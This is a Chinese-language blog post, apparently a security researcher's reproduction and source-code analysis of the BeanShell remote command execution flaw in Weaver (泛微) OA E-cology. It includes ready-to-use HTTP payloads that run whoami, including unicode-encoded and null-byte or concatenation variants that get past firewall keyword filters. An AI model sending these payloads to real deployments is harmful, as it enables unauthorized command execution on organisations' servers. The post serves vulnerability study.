前不久,泛微OA爆出远程命令执行漏洞,好多小伙伴都在刷朋友圈,我当时就特意看了一下这个漏洞,研究其原理,并对其作出简单的复现分析,能力不高,希望各位表哥批评指正。
简单介绍一下泛微OA E-cology,它是一个被广泛运用的OA系统,通过百度高级搜索:泛微协同商务系统,即可发现大量企业用泛微OA作为协同办公系统。
打开某公司存在漏洞的页面:
可以发现漏洞的利用方式是用的BeanShell组件,通过利用直接暴露出来的Beanshell组件,即可使用exec等函数执行任意命令。
测试方法1:
直接将print(“hello!”)
换成exec(“whoami”)
,就可以测试能否执行系统命令了。
测试方法2:
如果存在防火墙将exec或eval关键词过滤了,可通过unicode编码,字符串拼接的方式进行绕过,给出两个网上表哥们给的POC:
1、 bsh.script=\u0065\u0078\u0065\u0063(“whoami”);&bsh.servlet.output=raw
2、bsh.script=eval%00(“ex”%2b”ec(bsh.httpServletRequest.getParameter(\”command\”))”);&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
不得不说,表哥们还是厉害啊,已经研究很透彻了。
问题主要还是出现在BeanShell这个组件上,github有官方文档
BeanShell是一个小型的,免费的,可嵌入的Java源解释器,具有使用Java编写的对象脚本语言功能。 BeanShell动态执行标准Java语法,并通过通用的脚本编写便利进行扩展,例如松散的类型,命令和方法闭包(如Perl和JavaScript)。
下载泛微OA所使用的BeanShell 2.0b4源码包并查看java代码,由于访问的组件路径为/weaver/bsh.servlet.BshServlet/
,故推测源码位于bsh.servlet.BshServlet类,
看到此处,可得出刚才的推测成立,那接着往下看,由于我们发现漏洞是以POST传输的,在类中发现存在doPost方法,并且doPost是对doGet的二次封装,
接着往下看doGet方法:
doGet获取bsh.script等参数,并通过evalScript方法处理,将结果给到script Result对象。继续看evalScript方法,script最终被bsh.eval处理
继续跟进bsh.Interpreter类的eval方法,跳转到bsh.classpath/ClassManagerImpl.class类,该类调用了bsh.commands/exec.bsh脚本,该脚本可以执行命令。